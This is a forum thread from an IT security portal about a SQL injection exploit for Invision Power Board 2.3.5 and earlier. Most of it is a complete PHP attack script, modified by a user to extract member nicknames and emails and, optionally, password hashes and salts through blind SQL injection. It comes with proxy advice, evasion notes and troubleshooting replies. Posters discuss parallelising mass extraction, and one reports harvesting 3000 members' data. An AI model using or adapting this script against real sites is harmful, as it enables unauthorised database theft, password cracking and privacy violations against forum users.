Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
August 25, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 199
Members: 0
Total: 199
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> IPB <= 2.3.5 sql injection Retrieving other infos ? Goto page 1, 2  Next
Post new topic  Reply to topic View previous topic :: View next topic 
IPB <= 2.3.5 sql injection Retrieving other infos ?
PostPosted: Sat Dec 27, 2008 10:38 am Reply with quote
k40t1x
Regular user
Regular user
 
Joined: Dec 27, 2008
Posts: 22




Hi everybody,

I was trying to modify the script so i can get some other usefull infos like emails. What should i do to make it working that way and with variable lengths.

ty
View user's profile Send private message
PostPosted: Sat Dec 27, 2008 11:05 am Reply with quote
k40t1x
Regular user
Regular user
 
Joined: Dec 27, 2008
Posts: 22




Well,
after all it wasn't that hard. Just changed AND ORD(SUBSTR(converge_email,$pos,1)) and it worked Very Happy variable length isn't a problem just some few more iterations with null as response.

I hope this helps and tnx again to waraxe Very Happy
View user's profile Send private message
PostPosted: Sat Dec 27, 2008 11:34 am Reply with quote
k40t1x
Regular user
Regular user
 
Joined: Dec 27, 2008
Posts: 22




LoL I'm feeling like talking to myself but guys how do you deal with big databases ? I mean i noticed it takes a while to get the infos. So any help to improve the speed? Is launching multiple scripts parallel with different start and end Ids a good idea ?
View user's profile Send private message
PostPosted: Sat Dec 27, 2008 1:18 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Yes, of course, this is possible. You can use php Curl "curl_multi_exec()" or multiple instances of same script or multithreaded *nix/win program. But performance gain depends on target webserver and database quality. Too much parallelism can kill database and DoS the website Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Dec 27, 2008 7:22 pm Reply with quote
k40t1x
Regular user
Regular user
 
Joined: Dec 27, 2008
Posts: 22




waraxe, is there any other vulnerability that i can try before I start with those Mysql Injections on huge databases?
View user's profile Send private message
PostPosted: Sun Dec 28, 2008 1:23 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
 
Joined: Oct 30, 2008
Posts: 51




lol, of course there could be other vulnerabilities...

What tou mean?
View user's profile Send private message
PostPosted: Sun Dec 28, 2008 7:15 pm Reply with quote
k40t1x
Regular user
Regular user
 
Joined: Dec 27, 2008
Posts: 22




really thankful if you give me some explanation or links Very Happy (IPB >= 2.2.0) I've heard about a cookie exploit but i can't find it
View user's profile Send private message
PostPosted: Mon Dec 29, 2008 2:10 am Reply with quote
Blink
Regular user
Regular user
 
Joined: Jan 17, 2008
Posts: 14




Kaotix, could you please post your modified exploit that includes the emails?

I have multiple computers so I usually run the exploit twice on one computer, and leave them on for a day or two. Took about 30hours to extract 3000 members after I couldn't get the admin hash via cracking.
View user's profile Send private message
PostPosted: Mon Dec 29, 2008 3:26 am Reply with quote
k40t1x
Regular user
Regular user
 
Joined: Dec 27, 2008
Posts: 22




Just uncomment the get_hash and get_salt if you need them (+ uncomment addline of cours) First the function gets the length of the email adresse then get it (same with nicknames) cause they have both variables size. Start and end index are given throu cli --> script.php start_index end_index
(output log is start-end.txt). I didn't really do anything just modified it according to my needs. If this helps Enjoy Very Happy

Code:

<?php
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB <= 2.3.5 sql injection exploit
// Version 1.2
// written by Janek Vind "waraxe"
// modified by k40t1x
// Estonia, Tartu
// http://www.waraxe.us/
// 24. september 2008
// based on DarkFig's advisory
// http://acid-root.new.fr/?0:18
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. can work with multiple ID-s
// 6. log format compatible with passwordspro
// 7. Get extra infos (email and nicknames)  + start and end_index through cli
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
global $argv;
$url = 'http://www.example.com/';
$id_start = $argv[1];// starting user ID, default value "1" is admin's ID
$id_end = $argv[2];// ending user ID
$prefix = 'ibf_';// IPB table prefix, default is "ibf_"
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = 'directory/' . $id_start. "-" . $id_end . '.txt';// Log file

//======================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
//=====================================================================
///////////////////////////////////////////////////////////////////////
if(!extension_loaded('curl'))
{
   if(!dl('php_curl.dll'))
   {
      die("Curl extension not loaded!\n Fatal exit ...\n");
   }
   else
   {
      echo "Curl loading success\n";
   }
}
//=====================================================================
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
   if(!isset($_REQUEST['wtf-is-cli']))
   {
      echo "<html><head><title>Attention!</title></head>\n";
      echo "<body><br /><br /><center>\n";
      echo "<h1>Warning!</h1>\n";
      echo "This exploit is meant to be used as php CLI script!<br />\n";
      echo "More information:<br />\n";
      echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
      echo "Still, you can try to run it from webserver.<br />\n";
      echo "Just press the button below and prepare for long waiting<br />\n";
      echo "And learn to use php CLI next time, please ...<br />\n";
      echo "<form method=\"get\">\n";
      echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
      echo "</form>\n";
      echo "</center></body></html>\n";
      exit;
   }
   else
   {
      // Let's try to maximize our chances without CLI
      @set_time_limit(0);
   }
}
//=====================================================================
xecho("Target: $url\n");
xecho("Sql table prefix: $prefix\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("Target: $url");

for($i = $id_start; $i <= $id_end; $i ++)
{
   echo "Testing ID $i\n";
   if(!test_target_id($i))
   {
      echo "ID $i not valid, passing ...\n";
      continue;
   }
   echo "ID $i validated\n";
   
   $nick_length = get_nicklength($i);
   $email_length = get_emaillength($i);   
   $nick = trim(get_nick($i,$nick_length));
   //$hash = get_hash($i);
   //$salt = get_salt($i);
   $email = trim(get_email($i,$email_length));   
   //$line = "$i:$nick:$hash:$salt:$email";
   $line = "$i:$nick:$email";
   add_line($line);

   xecho("\n------------------------------------------\n");
   xecho("User ID: $i\n");
   xecho("Nicklength: $nick_length\n");
   xecho("Nick: $nick\n");
//   xecho("Hash: $hash\n");
//   xecho("Salt: $salt\n");
   xecho("Email: $email_length");
   xecho("Email: $email");
   xecho("\n------------------------------------------\n");
}

add_line("------------------------------------------");

xecho("\nQuestions and feedback - http://www.waraxe.us/ \n");
die("See ya! :) \n");
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
   global $url;
   
   $post = 'act=xmlout&do=check-display-name&name=somethingfoobarkind%2527 OR 1=1-- ';
   $buff = trim(make_post($url, $post, '', $url));

   if($buff === 'notfound')
   {
      die('Target is patched? Exiting ...');
   }
   
   if($buff !== 'found')
   {
      die('Invalid response, target URL not valid? Exiting ...');
   }
}
//////////////////////////////////////////////////////////////////////
function test_target_id($id)
{
   global $url, $prefix;
   
   $post = 'UNION SELECT 1,1 FROM ' . $prefix . 'members_converge WHERE converge_id=' . $id . ' AND LENGTH(converge_pass_hash)=32';

   return test_condition($post);
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
   $len = 5;
   $out = '';
   
   xecho("Finding salt ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_saltchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current salt: $out \n");
   }
   
   xecho("\nFinal salt for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_salt,$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
   $len = 32;
   $out = '';
   
   xecho("Finding hash ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current hash: $out \n");
   }
   
   xecho("\nFinal hash for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
   global $prefix;

   $char = '';
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_pass_hash,$pos,1))";

   // First let's determine, if it's number or letter
   $post = $pattern . '%253e57';
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
//      xecho("Char to find is [a-f]\n");
   }
   else
   {
      $min = 48;
      $max = 57;
//      xecho("Char to find is [0-9]\n");
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_email($id,$len)
{
  // $len = 20;
   $out = '';
   
   xecho("Finding Email ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_emailchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Email for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_emailchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members_converge WHERE converge_id=$id AND ORD(SUBSTR(converge_email,$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_nick($id,$len)
{
   $out = '';
   
   xecho("Finding Nickname ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_nickchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Nick for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_nickchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(name,$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_nicklength($id)
{
   $len = 2;
   $out = '';
   
   xecho("Finding Nickname length ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_nicklengthchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Nicklength for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_nicklengthchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(length(name),$pos,1))";
   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function get_emaillength($id)
{
   $len = 2;
   $out = '';
   
   xecho("Finding Email length ...\n");
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_emaillengthchar($i, $id);
#      xecho("Got pos $i --> $ch\n");
      $out .= "$ch";
#      xecho("Current email: $out \n");
   }
   
   xecho("\nFinal Email length for ID $id: $out\n\n");
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_emaillengthchar($pos, $id)
{
   global $prefix;

   $char = '';
   $min = 32;
   $max = 128;
   $pattern = 'UNION SELECT 1,1 FROM ' . $prefix . "members WHERE id=$id AND ORD(SUBSTR(length(email),$pos,1))";   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $post = $pattern . "=$max";
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $post = $pattern . '%253e' . $curr;
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

#      xecho("Current test: $curr-$max-$min\n");
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url;
   
   $bret = false;
   $maxtry = 10;
   $try = 1;
     
   $pattern = 'act=xmlout&do=check-display-name&name=%%2527 OR 1=%%2522%%2527%%2522 %s OR 1=%%2522%%2527%%2522-- ';
   $post = sprintf($pattern, $p);
   
   while(1)
   {
      $buff = trim(make_post($url, $post, '', $url));

      if($buff === 'found')
      {
         $bret = true;
         break;
      }
      elseif($buff === 'notfound')
      {
         break;
      }
      elseif(strpos($buff, '<title>IPS Driver Error</title>') !== false)
      {
         die("Sql error! Wrong prefix?\nExiting ... ");
      }
      else
      {
         xecho("test_condition() - try $try - invalid return value ...\n");
         $try ++;
         if($try > $maxtry)
         {
            die("Too many tries - exiting ...\n");
         }
         else
         {
            xecho("Trying again - try $try ...\n");
         }
      }
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
   
   if(!empty($GLOBALS['proxy_ip_port']))
   {
      curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);
     
      if(!empty($GLOBALS['proxy_user_password']))
      {
         curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
      }
   }
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
   global $outfile;
   
   $line .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $line);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
   if($GLOBALS['cli'])
   {
      echo "$line";
   }
   else
   {
      $line = nl2br(htmlspecialchars($line));
      echo "$line";
   }
}
//////////////////////////////////////////////////////////////////////
?>
View user's profile Send private message
PostPosted: Wed Feb 04, 2009 3:14 am Reply with quote
xxvvyy
Regular user
Regular user
 
Joined: Feb 04, 2009
Posts: 20




I like the thought of your PHP Script, and is exactly what I was looking to do next...

...however I am getting some issues. Target URL comes back as valid, but then I get syntax errors;

Quote:
C:\PHP>php.exe username.php
Curl loading success
Target: http://www.xxx.xxx/forums/
Sql table prefix: ibf_
Testing target URL ...
Target URL seems to be valid

Warning: fopen(directory/-.txt): failed to open stream: No such file or director
y in C:\PHP\username.php on line 704

Warning: fwrite(): supplied argument is not a valid stream resource in C:\PHP\us
ername.php on line 705

Warning: fclose(): supplied argument is not a valid stream resource in C:\PHP\us
ername.php on line 706
Testing ID
Sql error! Wrong prefix?
Exiting ...


Any ideas?
View user's profile Send private message
PostPosted: Wed Feb 04, 2009 3:30 am Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Look at source:

Code:

$id_start = $argv[1];// starting user ID, default value "1" is admin's ID
$id_end = $argv[2];// ending user ID
...
$outfile = 'directory/' . $id_start. "-" . $id_end . '.txt';// Log file


This exploit needs two commandline parameters: start ID and end ID

try:

Code:

php username.php 1 10
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Feb 04, 2009 3:39 am Reply with quote
xxvvyy
Regular user
Regular user
 
Joined: Feb 04, 2009
Posts: 20




waraxe wrote:
Look at source:

Code:

$id_start = $argv[1];// starting user ID, default value "1" is admin's ID
$id_end = $argv[2];// ending user ID
...
$outfile = 'directory/' . $id_start. "-" . $id_end . '.txt';// Log file


This exploit needs two commandline parameters: start ID and end ID

try:

Code:

php username.php 1 10


Thank you for the quick response. I edited the PHP script with id start 1 and id end 4. Those are the only two I'm worried about. I did not run the script in the syntax you suggested at first. However I have tried that syntax after you have suggested and still return with the same results.

I tried both

php username.php 1 10

php username.php 1 4
View user's profile Send private message
PostPosted: Mon Feb 09, 2009 2:39 pm Reply with quote
sWeeP
Regular user
Regular user
 
Joined: Jan 21, 2009
Posts: 16
Location: Serbia




i got this error!

Target: http://www.************.org/*******/
Sql table prefix: ibf_
Testing target URL ...
Target URL seems to be valid
Testing ID Sql error! Wrong prefix? Exiting ...
View user's profile Send private message
PostPosted: Wed Mar 25, 2009 4:34 pm Reply with quote
philhxc
Beginner
Beginner
 
Joined: Mar 25, 2009
Posts: 1




how exactly do you use the curl_multi_exec on this script?
View user's profile Send private message
PostPosted: Wed Mar 25, 2009 6:36 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




philhxc wrote:
how exactly do you use the curl_multi_exec on this script?


It means major changes in script and is not so easy to implement.
I will port this exploit to Ruby (as Metasploit auxiliary module) and maybe there will be multithreading feature. Let's see ... Smile
View user's profile Send private message Send e-mail Visit poster's website
IPB <= 2.3.5 sql injection Retrieving other infos ?
  www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 2  
Goto page 1, 2  Next
  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Book Opinions
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.104 Seconds